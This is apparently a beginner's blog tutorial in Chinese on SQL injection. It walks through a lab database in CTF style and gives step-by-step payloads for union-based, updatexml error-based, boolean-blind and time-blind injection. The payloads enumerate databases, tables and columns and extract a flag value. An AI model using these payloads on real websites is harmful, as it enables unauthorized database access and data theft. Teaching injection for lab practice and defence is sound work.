首先声明,本文适合小白学习,如果文中有何不足之处,还请大佬门嘴下留情。
一、什么是SQL注入?
先来个官方的解释
用我的话说SQL注入就是利用网站前端与数据库连接处的漏洞,导致我们输入的语句能过在数据库中非常规的执行。
为什么说是非常规的执行,本来人家设计的时候就是讲用户输入的东西带入数据库去查询,然后判断对错。但是由于他的连接处不严谨导致用户输入的其它数据库代码也能在其中执行。
Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击
二、sql注入都存在于哪些地方
SQL注入可能存在的地方很多,一句话总结,凡是调用数据库里面的内容时都有可能造成SQL注入。
其中最常见的地方在:
1、登入口
2、网站调取页面信息时【URL:http://www.xxx.com/?id=12】
3、个人信息页面
登入口很可能存在万能密码【SQL注入的一种】
常见的万能密码有如下
万能密码
asp aspx万能密码
PHP万能密码
jsp 万能密码
三、如何判断是否存在SQL注入点
一般情况下输入单引号 ' 或者双引号 " 来判断是否存在注入。如果输入'、"其中一个报错就说明存在sql注入,如果没有报错很大程度是不存在注入点的(时间盲注除外)。之所以说很大程度是因为有些网站过滤掉了'、" 导致无法判断是否存在注入点。
select * from <表> where id = '1' or 1=2#
四、SQL注入类型
按报错类型
SQL报错有回显
SQL报错无回显
按照执行效果来分类
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
按照数据提交的方式来分类
1、GET 注入
2、POST注入
3、Cookie 注入
4、HTTP 头部注入
sql联合注入
上面位本次sql环境的查询语句
确认漏洞是否存在
?id=1'
?id=1 and 1=1--
?id=1 and 1=2--
确定字段数
?id=1 order by 6--
?id=1 order by 7 --
确定回显位
?id=1 union select 1,2,3,4,5,6--
获取当前数据库和用户
?id=1 union select 1,database(),3,user(),5,6--
获取表
?id=1 union select 1,table_name,3,user(),5,6 from information_schema.tables where table_schema='test'--
获取列
?id=1 union select 1,column_name,3,4,5,6 from information_schema.columns where table_name='flags'--
获取内容
?id=1 union select 1,flag,3,4,5,6 from flags--
sql报错盲注
updatexml () 函数
concat()函数
使用方法:
CONCAT(str1,str2,…)
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
注意:
如果所有参数均为非二进制字符串,则结果为非二进制字符串。
如果自变量中含有任一二进制字符串,则结果为一个二进制字符串。
concat()是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出用户
?id=1'
发现是一个报错注入,紧接着我们就用updatexml()函数试试看
获取当前数据库
?username=1' and updatexml(1,concat('~',(select database()),'~'),1)#
获取表
?username=1' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='test' limit 0,1),'~'),1)#
获取列
?username=1' and updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='flags' limit 1,1),'~'),1)#
获取字段
?username=1' and updatexml(1,concat(0x7e,(select flag from flags)),1)#
发现只有一半,接着就用right()、left()函数截取就OK
合在一块就能得到正确的flag 提交时,请注意,重复的去掉
Sql布尔盲注
对于盲注只有2种感觉,好玩,好烦。
手工注入,一个个猜解。大多数人都会觉得特别烦躁的东西。
个人的查看注入点的方式‘单引号,“双引号,
?id=1 #正常
?id=1‘ #不正常
?id=1" #正常
接下来就是构造闭合
?id=1‘-- #正常,我可以认为是闭合成功了。
?id=1‘ and 1=1-- #正常
?id=1‘ and 1=2-- #不正常
接下来我可以尝试猜解数据库了。首先猜解数据库的长度。数据库猜解长度的函数length
length() 返回字符串的长度
?id=1‘ and length(database())>1-- #肯定大于1,这个事实
?id=1‘ and length(database())>3-- #大于3
?id=1‘ and length(database())>4-- #不大于4
?id=1‘ and length(database())=4-- #数据库等于4,然后呢!
通过ascii()和substr()猜测数据库名
ascii() #返回指定数字对应的ascii码字符函数
substr() #截取从pos位置开始到最后的所有str字符串
获取当前库名
?id=1‘ and (select ascii(substr(database(),1,1)))=116-- #116=t
不停的尝试
第一个是116 t
第二个是101 e
第三个是 115 s
第四个是116 t
可以得到数据库名字为:test
爆数据表
接下来头疼的爆数据表,盲注果然是很枯燥的事情。
?id=1‘ and (select ascii(substr((select table_name from information_schema.tables where table_schema=‘test‘ limit 0,1),1,1)))=102--
第一个数据表 102, 108,97,103,115=>flags
第二个数据表 112,101,114=>per
重复上面操作,找出所有想要的表,直到全部找完为止。
爆字段
?id=1‘ and (select ascii(substr((select column_name from information_schema.columns where table_name=‘flags‘ limit 0,1),2,1)))=105--
第一个字段 105,100 =>id
第二个字段 102,108,97,103 =>flag
获取内容
?id=1‘ and (select ascii(substr((select flag from flags limit 0,1),1,1)))=102--
第一个内容:102,108,97,103,123=>flag{
不断的去获取,得出flag
基于时间布尔盲注
if(条件1,条件2,条件3)
如果条件1正确就执行条件2否则执行条件3
?id=1 and if(length(database())=4,sleep(1),1)--
得到数据库长度
?id=1 and if(((ascii(substr(database(),1,1)))=116),sleep(1),1)--
得到数据库名称为:test
?id=1 and if((select ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))=102),sleep(1),1)--
或者:
?id=1 and if((select (substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))='f'),sleep(1),1)--
得到第一个表名:flags
?id=1 and if((select (substr((select column_name from information_schema.columns where table_name='flags' limit 0,1),1,1))='i'),sleep(1),1)--
或者:
?id=1 and if((select ascii(substr((select column_name from information_schema.columns where table_name='flags' limit 0,1),1,1))=105),sleep(1),1)--
获取到flags字段为:id、flags
?id=1 and if((select ascii(substr((select flag from flags limit 0,1),1,1))>1),sleep(1),1)-- ,1)--
获取flag里面的内容
?id=1 and if((ascii(substr((select flag from flags limit 0,1),1,1)))>100,sleep(1),1)